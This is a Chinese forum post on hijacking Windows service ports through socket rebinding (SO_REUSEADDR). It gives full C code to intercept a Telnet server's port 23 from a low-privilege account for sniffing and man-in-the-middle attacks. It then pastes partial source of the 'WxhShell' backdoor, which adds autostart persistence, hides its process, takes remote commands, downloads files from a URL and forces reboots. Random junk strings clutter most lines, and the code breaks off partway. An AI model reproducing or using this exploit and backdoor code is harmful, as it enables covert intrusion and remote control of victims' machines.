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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #Z1-+X8P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'KA$^  
jcJ 4?  
  saddr.sin_family = AF_INET; D#L(ZlD4  
q4[8\Ua  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {6H[[7i  
}lIc{R@H  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); V*b/N  
Cu8mNB{H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 T4] 2R  
F*[E28ia&  
  这意味着什么?意味着可以进行如下的攻击: qg& /!\  
#zTy7ZS,0  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VIz(@  
$U*eq [  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) llP V{  
_K9`o^g%PJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,fp+nu8,  
PP$sdmo  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (M$0'BV0  
s{@R|5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G<e+sDQ2  
q13fmK(n-5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6?F88;L  
&N^~=y^`C'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3_)I&RM  
oj djy#:  
  #include A,.X  
  #include m "9f(  
  #include YbU8 xq  
  #include     9!jPZn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Mwnr4$]  
  int main() 0~fjY^(  
  { 4C=W~6~  
  WORD wVersionRequested; 6^gp /{  
  DWORD ret; #"4ioTL2  
  WSADATA wsaData; -5b|nQuY  
  BOOL val; LG&BWs!  
  SOCKADDR_IN saddr; D6Ad "|Z  
  SOCKADDR_IN scaddr; )k=KLQ\b  
  int err; :')[pO_FW*  
  SOCKET s; ]gq)%T]  
  SOCKET sc;  Lto*L X  
  int caddsize; @e)}#kN.  
  HANDLE mt; f256;3n  
  DWORD tid;   X%'z  
  wVersionRequested = MAKEWORD( 2, 2 ); "@&TC"YG0  
  err = WSAStartup( wVersionRequested, &wsaData ); W^[FWFUTY  
  if ( err != 0 ) { Y/5M)AyJt  
  printf("error!WSAStartup failed!\n"); ~o!- [  
  return -1; Vx$;wU Y  
  } %Xd*2q4*  
  saddr.sin_family = AF_INET; 'Tm1Mh0Fso  
   ,GH`tK_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n{;Q"\*Sg  
0#8   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i\6CE|  
  saddr.sin_port = htons(23); J,?#O#j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \EfX3ghPI  
  { 49MEGl;K0\  
  printf("error!socket failed!\n"); F"] P|   
  return -1; - Z,Qj"V  
  } G]>yk_#/\U  
  val = TRUE; zL yI|%KH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 )$n%4 :  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /A7( `l;6  
  { r !Aj5  
  printf("error!setsockopt failed!\n"); ~</FF'Xz  
  return -1; !1)aie+p6  
  } ",b:rgpRp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dx-P]j)4x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x]c8?H9,&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ocdy;|&  
X`D2w:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h-P|O6@Ki  
  { V\Cl""`XN  
  ret=GetLastError(); 3s%?)z  
  printf("error!bind failed!\n"); N[/<xW~x?4  
  return -1; pt <zyH3Z  
  } &zJI~R  
  listen(s,2); P1mg;!tq  
  while(1) /]`@.mZ9:  
  { U+!RIF[Je  
  caddsize = sizeof(scaddr); "0CFvN'4  
  //接受连接请求 <K[y~9u  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 63W;N7@  
  if(sc!=INVALID_SOCKET) j*DPW)RkKX  
  { LlX)xJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |C4fg6XDL  
  if(mt==NULL) Pzso^^g  
  { 6j6CA?|  
  printf("Thread Creat Failed!\n"); }:#WjH^  
  break; z By%=)`  
  } ;R*-cm  
  } jaoZ}}V_$  
  CloseHandle(mt); [Fr](&Tx  
  } /w?e(v<  
  closesocket(s); KOy{?  
  WSACleanup(); lMY\8eobcB  
  return 0; *?X&Y8Kf  
  }   u<S`"MR:J  
  DWORD WINAPI ClientThread(LPVOID lpParam) #%E`~&[  
  { *E/Bfp1LIe  
  SOCKET ss = (SOCKET)lpParam; [9">}l  
  SOCKET sc; LIID(s!bX  
  unsigned char buf[4096];  ~71U s  
  SOCKADDR_IN saddr; ; JkSZs3  
  long num; Ce}`z L  
  DWORD val; 8 Rj5~+5  
  DWORD ret; ^@^8iZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;\RV C 7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c[Fc3  
  saddr.sin_family = AF_INET; i6if\B  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G)7U &B  
  saddr.sin_port = htons(23); 60+zoL'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6^b)Q(Edut  
  { 64/ZfXD  
  printf("error!socket failed!\n"); *O_fw 0jV  
  return -1; *$eH3nn6g  
  } 6(8 F4[D  
  val = 100; h[remR# 3\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PF~@@j  
  { W;OGdAa_  
  ret = GetLastError(); _EMI%P& s  
  return -1; P =X]'m_B  
  } $Z G&d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xvTtA61Vp  
  { o,rF15  
  ret = GetLastError(); KR?;7*qF  
  return -1; (K[{X0T  
  } 9<Pg2#*N0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^N={4'G)  
  { =!\Nh,\eQ  
  printf("error!socket connect failed!\n"); #p(gB)o:l  
  closesocket(sc); %%No XW  
  closesocket(ss); eQ>Ur2H8n  
  return -1; ^Hn}\5  
  } _5p$#U`  
  while(1) R (f:UC  
  { "|3I|#s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S\:^#Yi`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |=}+%>y_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &ivU4rEG  
  num = recv(ss,buf,4096,0); >#G%2Vp  
  if(num>0) |Rf j 0+  
  send(sc,buf,num,0); G+c&e:ip<  
  else if(num==0) xv]z>4@z,  
  break; [7@blU  
  num = recv(sc,buf,4096,0); E/:U,u{  
  if(num>0) | #yu  
  send(ss,buf,num,0); if'=W6W  
  else if(num==0) )O[8 D  
  break; ?IGp?R^j"  
  } |nQfgl=V  
  closesocket(ss); ~-'2jb*8  
  closesocket(sc); ']nIa7  
  return 0 ; >6C\T@{lJ  
  } 5=TgOS]R  
\g34YY^L3  
)g:5}+  
========================================================== tb&?BCp  
9 /H~hEVK  
下边附上一个代码,,WXhSHELL 31G:[;g  
+~"IF+T RH  
========================================================== L~ &S<5?  
,Q"'q0hM=  
#include "stdafx.h" k[x-O?$O@  
Mk*4J]PP  
#include <stdio.h> )la3GT*1mS  
#include <string.h> +-!3ruwSn  
#include <windows.h> d*6f,z2=  
#include <winsock2.h> ?AFb&  
#include <winsvc.h> }U7IMONU  
#include <urlmon.h> 8-G )lyfj  
Q6(~VvC-  
#pragma comment (lib, "Ws2_32.lib") =Z+^n ?"  
#pragma comment (lib, "urlmon.lib") 2O kID WcM  
!~E/Rp  
#define MAX_USER   100 // 最大客户端连接数 LW<Lg N"L-  
#define BUF_SOCK   200 // sock buffer V6merT79  
#define KEY_BUFF   255 // 输入 buffer ci;2XLAM  
w[z=x  
#define REBOOT     0   // 重启 'dj3y/ k%  
#define SHUTDOWN   1   // 关机 T, #-: }  
C1-U2@  
#define DEF_PORT   5000 // 监听端口 :-x?g2MY  
nFni1cCD  
#define REG_LEN     16   // 注册表键长度 &eV5#Ph  
#define SVC_LEN     80   // NT服务名长度 ["nWIs[h  
DGJ:#U E  
// 从dll定义API ?c8~VQaQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _f!ko<52  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I[%IW4jJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xC< )]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Q h@Q6  
Qy:yz  
// wxhshell配置信息 s4Ja y!A  
struct WSCFG { +Ug &  
  int ws_port;         // 监听端口 @JSWqi>  
  char ws_passstr[REG_LEN]; // 口令 ( %7V  
  int ws_autoins;       // 安装标记, 1=yes 0=no $PM r)U  
  char ws_regname[REG_LEN]; // 注册表键名 >9w^C1"  
  char ws_svcname[REG_LEN]; // 服务名 0s`6d;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a @? $#>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 F.TIdkvp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8g=O0Gb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S*Ea" vBA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2[Bbdg[O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,i*rHMe  
E]q>ggeNH  
}; `6rLd>=R  
wQ(DX!   
// default Wxhshell configuration Cx;it/8+  
struct WSCFG wscfg={DEF_PORT, z_(l]Ern}  
    "xuhuanlingzhe", #Shy^58$  
    1, jO"/5 x26  
    "Wxhshell", 54z`KX 73  
    "Wxhshell", Y5 E0n(Z  
            "WxhShell Service", -(57C*#ap  
    "Wrsky Windows CmdShell Service", g;Fd m5Q  
    "Please Input Your Password: ", Rc)]A&J  
  1, UW":&`i  
  "http://www.wrsky.com/wxhshell.exe", n*GB`I*g  
  "Wxhshell.exe" MO ~T_6  
    }; ywm"{ U? 8  
_U}|Le@ e  
// 消息定义模块 5{-Hg[+9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M0m%S:2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .;?ha'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *effDNE!  
char *msg_ws_ext="\n\rExit."; igOX0  
char *msg_ws_end="\n\rQuit."; _U*R_2aV  
char *msg_ws_boot="\n\rReboot..."; f.ua,,P.  
char *msg_ws_poff="\n\rShutdown..."; -~.+3rcZ]  
char *msg_ws_down="\n\rSave to "; tic3a1  
bHTf{=  
char *msg_ws_err="\n\rErr!"; ]>)}xfL &,  
char *msg_ws_ok="\n\rOK!"; BSS4}qyS  
0uKm)t/  
char ExeFile[MAX_PATH]; LEKE+775  
int nUser = 0; a3A-N] ;f  
HANDLE handles[MAX_USER]; ^Ip\`2^u  
int OsIsNt; uEPm[oyX  
#p"F$@N   
SERVICE_STATUS       serviceStatus; '5$: #|-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]UO zz1   
MeD/)T{G~  
// 函数声明 f$ /C.E  
int Install(void); g?1bEOA!  
int Uninstall(void); [ GknE#p  
int DownloadFile(char *sURL, SOCKET wsh); -0(+a$P7e  
int Boot(int flag); 2;:]Q.g  
void HideProc(void); K{y`Sb~k  
int GetOsVer(void); i_L u  
int Wxhshell(SOCKET wsl); Iv7BIK^0  
void TalkWithClient(void *cs);  V13^SVM  
int CmdShell(SOCKET sock); (O ;R~Io  
int StartFromService(void); Q]/g=Nn ^~  
int StartWxhshell(LPSTR lpCmdLine); tklS=R^Vn  
k5&}bj-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j; /@A lZl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SFWS<H(IN  
1|*%  
// 数据结构和表定义  t":^:i'M  
SERVICE_TABLE_ENTRY DispatchTable[] = [9EL[}  
{ fpNq  
{wscfg.ws_svcname, NTServiceMain}, 2wU,k(F_  
{NULL, NULL} S@\&^1;4Hv  
}; un6W|{4]  
{w>ofyqfp&  
// 自我安装 Jv2V@6a(  
int Install(void) Md:*[]<~  
{ _uh@fRyh  
  char svExeFile[MAX_PATH]; Qm3 RXO  
  HKEY key; };(2 na  
  strcpy(svExeFile,ExeFile); Xa8_kv_  
@)ozgs@e  
// 如果是win9x系统,修改注册表设为自启动 Wbmqf s  
if(!OsIsNt) { Qe[ai?iJkt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k:s86q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tchpO3u,  
  RegCloseKey(key); MoC/xF&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NnZ_x>R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t I +]x]m+  
  RegCloseKey(key); ^YPw'cZZ&  
  return 0; #$t93EI  
    } ZCuh^  
  } ng2yZ @$  
} %'F[(VB   
else { Se/]J<]  
!Je!;mEvI  
// 如果是NT以上系统,安装为系统服务 M>Ws}Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z;U\h2TY  
if (schSCManager!=0) (B+zh  
{ 9&c *%mm  
  SC_HANDLE schService = CreateService >GDN~'}^oz  
  ( > m9ge`!9  
  schSCManager, 6mrfkYK  
  wscfg.ws_svcname, UJX5}36  
  wscfg.ws_svcdisp, tIX|oWC$q  
  SERVICE_ALL_ACCESS, Wm58[;%LTw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vP<8 ,XG  
  SERVICE_AUTO_START, \]/ 6>yT  
  SERVICE_ERROR_NORMAL, $_Lcw"xO  
  svExeFile, \4q1<j  
  NULL, fwyz|>H_Y(  
  NULL, j"+R*H(#  
  NULL, Yi"jj;!^S  
  NULL, D/zp_9B  
  NULL QEL3b4Vm  
  ); !P:~oo =  
  if (schService!=0) YKj P E  
  { A^7Y%  
  CloseServiceHandle(schService); ! F&{I  
  CloseServiceHandle(schSCManager); d 7QWK(d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bF3}L=z  
  strcat(svExeFile,wscfg.ws_svcname); o2(*5*b!@e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @6DV?VL  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pzBd(d^*  
  RegCloseKey(key); ^nL_*+V`f  
  return 0; wmS:*U2sc  
    } Ps MCs|*  
  } Qgv-QcI{  
  CloseServiceHandle(schSCManager); /Big^^u  
} d 'wWj  
} T xwZ3E  
| \JB/x  
return 1; qxwD4L`S  
} Jqi^Z*PuX  
?< $DQ%bf  
// 自我卸载 *j= whdw%J  
int Uninstall(void) [[:wSAO>6'  
{ ;-sF%c  
  HKEY key; Hb *&&  
93N:?B9  
if(!OsIsNt) { ?To r)>A'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~4tu*\P  
  RegDeleteValue(key,wscfg.ws_regname); j.rJfbE|X  
  RegCloseKey(key); RIl+QA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A0Hsd  
  RegDeleteValue(key,wscfg.ws_regname); G&*2h2,]  
  RegCloseKey(key); )![? JXf  
  return 0; {#1}YGpiVM  
  } ZA4vQDW  
} E>SLR8!C v  
} PM%Gsy]q  
else { *9Nq^+  
Yf(QU`w_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Go_~8w0<  
if (schSCManager!=0) djcC m5m  
{ 1vBXO bk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pEE.%U  
  if (schService!=0) 2V#(1Hc!  
  { . ),m7"u|  
  if(DeleteService(schService)!=0) { _gF )aE  
  CloseServiceHandle(schService); Dx27s  
  CloseServiceHandle(schSCManager); f?A*g$v  
  return 0; i/U HDqZ  
  } i~6qOlLD-  
  CloseServiceHandle(schService); ;HeUD5Nt6F  
  } +Te;LJP  
  CloseServiceHandle(schSCManager); s k_Q\0a  
} EWg\\90  
} wGf SVA-q\  
_6 |lw&o07  
return 1; }A%Sx!7~  
} *G#W],~0  
3Ga! )  
// 从指定url下载文件 y\&`A:^[ A  
int DownloadFile(char *sURL, SOCKET wsh) 9q -9UC!g  
{ Wf=D'6w  
  HRESULT hr; x-/`c  
char seps[]= "/"; Ytnk^/Z1L  
char *token; AA um1xl  
char *file; zj^Ys`nl  
char myURL[MAX_PATH]; (TV ye4Z  
char myFILE[MAX_PATH]; ,$96bF "#  
<k&Q"X:"  
strcpy(myURL,sURL); }Z_w8+BZ  
  token=strtok(myURL,seps); N?h=Zl|  
  while(token!=NULL) 1^zpO~@ S  
  { Vn6g(:\w  
    file=token; j9YI6X"  
  token=strtok(NULL,seps); gG^K\+S  
  } -Ug  
g3(fhfR'RN  
GetCurrentDirectory(MAX_PATH,myFILE); ayJKt03\O\  
strcat(myFILE, "\\"); M38QA  
strcat(myFILE, file); {(#>%f+|C  
  send(wsh,myFILE,strlen(myFILE),0); _s Z9p4]  
send(wsh,"...",3,0); <o";?^0Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^{GnEqml&  
  if(hr==S_OK) c?{&=,u2  
return 0; {`vF4@  
else >c>f6  
return 1; Nj_h+=UE!  
:U>o;  
} N4Z%8:"pj  
spV/+jy{  
// 系统电源模块 .R` {.~_{!  
int Boot(int flag) eFUJASc  
{ 7W6tz\Y  
  HANDLE hToken; $4y;F]  
  TOKEN_PRIVILEGES tkp; $e7dE$eH  
!PI& y  
  if(OsIsNt) { eEkF Zx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EC2KK)=n}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s HSZIkB-r  
    tkp.PrivilegeCount = 1; {mK=Vig  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?A /+DRQ(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wG4=[d  
if(flag==REBOOT) { QcGyuS.B  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1;R1Fj&  
  return 0; V6Y:l9  
} $UAmUQg)}_  
else { CxC&+';  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LoQm&3/  
  return 0; #N?EPV$  
} xZ} 1dq8  
  } vl8Ums} +  
  else { j^}p'w Tu{  
if(flag==REBOOT) { J)iy6{0"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WhsTKy&E  
  return 0; Rw\ LVRdA  
} q"@Y2lhD!  
else { E-_FxBw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mYf7?I~  
  return 0; wIIxs_2Q0c  
} C d)j %  
} E=.4(J7K  
4~8++b1/;  
return 1; .V9/0  
} j()<.h;'  
pmR6(/B#  
// win9x进程隐藏模块 rYbb&z!u  
void HideProc(void) -(4)lw>U  
{ &{?*aK&%3l  
Cvr?%+)$M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q$Z.5EN  
  if ( hKernel != NULL ) 2XubM+6  
  { 4i>sOP3 B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K'EGm #I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )2KQZMtgm]  
    FreeLibrary(hKernel); BD+V{x}P  
  } KPI c?|o/6  
z{w!yMp"  
return; /l-lkG5  
} vq|o}6Et  
S+G!o]&2  
// 获取操作系统版本 h=uwOi6}  
int GetOsVer(void) &R:$h*Wt|  
{ y<bA Y_-[  
  OSVERSIONINFO winfo; 2yk32|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6vySOVMj  
  GetVersionEx(&winfo); :!a'N3o>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8{ aS$V"  
  return 1; I^*&u,  
  else z;GR(;w/  
  return 0; c`94a SnV  
} D3s]49j)  
hce *G@b  
// 客户端句柄模块 ~wmc5L/!?  
int Wxhshell(SOCKET wsl) x}t,v.:  
{ ^W|B Xxo  
  SOCKET wsh; RHc63b\  
  struct sockaddr_in client; w,fA-*bZ 0  
  DWORD myID; [;3` Aw  
jdsNZV  
  while(nUser<MAX_USER) AV\6K;~  
{ ^sR]w]cz.  
  int nSize=sizeof(client); 8.4 1EKr2  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J0@<6~V6o  
  if(wsh==INVALID_SOCKET) return 1; d?G ~k[C!a  
#?/&H;n_8S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [EUp4%Z #  
if(handles[nUser]==0) fG2hCP+  
  closesocket(wsh); B2\R#&X.  
else a[;TUc^I1F  
  nUser++; MYgh^%w:  
  } =~M%zdIXv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <WN?  
bjvpYZC\5  
  return 0; ^s z4-+>  
} rxZ%vzVQ>  
LWQ.!;HYp  
// 关闭 socket R4+Gmx1  
void CloseIt(SOCKET wsh) G9y 0;br  
{ k*)O]M<,  
closesocket(wsh); $I40 hk  
nUser--; ]PQ] f*Ik>  
ExitThread(0); 'r;C( Gh6  
} 0'T*l 2Z`2  
gFR9!=,/V%  
// 客户端请求句柄 >\=~2>FCD  
void TalkWithClient(void *cs) VhdMKq~`  
{ 4FK|y&p4r  
$89hkUuTu^  
  SOCKET wsh=(SOCKET)cs; Ig9yd S-.  
  char pwd[SVC_LEN]; ]B'Ac%Rx  
  char cmd[KEY_BUFF]; am >X7  
char chr[1]; y5;l?v94  
int i,j; $2u^z=`b!%  
;8z40cD  
  while (nUser < MAX_USER) { i[obQx S94  
U40adP? a  
if(wscfg.ws_passstr) { Jj=0{(X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bvZTB<rA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KLqn`m`O;  
  //ZeroMemory(pwd,KEY_BUFF); 6q^Tq {I  
      i=0; ].Mr&@  
  while(i<SVC_LEN) { @]$qJFXx  
"vVL52HwB  
  // 设置超时 %n<u- {`  
  fd_set FdRead; r83chR9  
  struct timeval TimeOut; Q"UWh~  
  FD_ZERO(&FdRead); ^6*LuXPv  
  FD_SET(wsh,&FdRead); $6\-8zNk  
  TimeOut.tv_sec=8; ;4DqtR"7Y  
  TimeOut.tv_usec=0; 6- H81y 3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |BrD:+  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oNV5su  
V_Owi5h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S}zh0`+d'Z  
  pwd=chr[0]; =/xTUI4  
  if(chr[0]==0xd || chr[0]==0xa) { C1 qyjlR  
  pwd=0; a&yIH;-  
  break; fJ"#c<n  
  } -oGJPl{r  
  i++; +[l52p@a  
    } TE+d?  
UO%Vu C5B  
  // 如果是非法用户,关闭 socket dxm_AUM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1QHCX*_  
} }2qmL$  
d0(GE4+/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BPAz.K Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  q0Rd^c  
-]=-IiC#  
while(1) { rN3i5.*/t  
e jY|o Bj  
  ZeroMemory(cmd,KEY_BUFF); /0|niiI  
_ PC}`Y'&  
      // 自动支持客户端 telnet标准   =Rnx!E  
  j=0; Al?LO;$Pa?  
  while(j<KEY_BUFF) { s^nPSY!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jz(!eTVs  
  cmd[j]=chr[0]; =\v./Q-  
  if(chr[0]==0xa || chr[0]==0xd) { [H#*#v  
  cmd[j]=0; T*"15ppfk  
  break;  4{2)ZI#  
  } " bHeNWZ  
  j++; Wj N0KA  
    } o* q F"xG  
SZ+<0Y |  
  // 下载文件 W?W vT` T{  
  if(strstr(cmd,"http://")) { BaSNr6 YW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); **I9Nw!IH  
  if(DownloadFile(cmd,wsh)) b"Ep?=*5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~r~~0|=  
  else )IIQ{SwQq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >pa tv  
  } k&\YfE3*  
  else { UloZo? e`  
}NQx2k0  
    switch(cmd[0]) { l@}BWSx&ms  
  !6:q#B*  
  // 帮助 -BWkPq!  
  case '?': { !A>VzW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y~=]RCg  
    break; s }P-4Sg  
  } #A|~s;s>N  
  // 安装 .hh 2II  
  case 'i': { Up|\&2_  
    if(Install()) I0\}S [+ H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -"L)<J@gQ?  
    else D7Y5q*F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <&'Ye[k  
    break; X8T7(w<0%f  
    } R#Z1+&='  
  // 卸载 Nkfu k  
  case 'r': { 1k@k2rE  
    if(Uninstall()) /f!_dJ^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #k%3Ag  
    else )2Gp3oD?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {},rbQ -  
    break; zdA:K25"  
    } =l`xXma  
  // 显示 wxhshell 所在路径 1XZ|}Xz  
  case 'p': { ]Y[8|HJ8  
    char svExeFile[MAX_PATH]; b@ J&jE~d  
    strcpy(svExeFile,"\n\r"); rQNT  
      strcat(svExeFile,ExeFile); m,n V,}@J  
        send(wsh,svExeFile,strlen(svExeFile),0); Fjc+{;x  
    break; UXB[3SP  
    } @Kri)U i  
  // 重启 mfu >j,7l  
  case 'b': { g;(r@>U.r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w;$@</  
    if(Boot(REBOOT)) S3"js4a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZyqTtA!A  
    else { JL1%XQ i  
    closesocket(wsh); {aq\sf;i{  
    ExitThread(0); NEQcEUd?  
    } b~ ?TDm7  
    break; ]rM{\En  
    } nLq7J:  
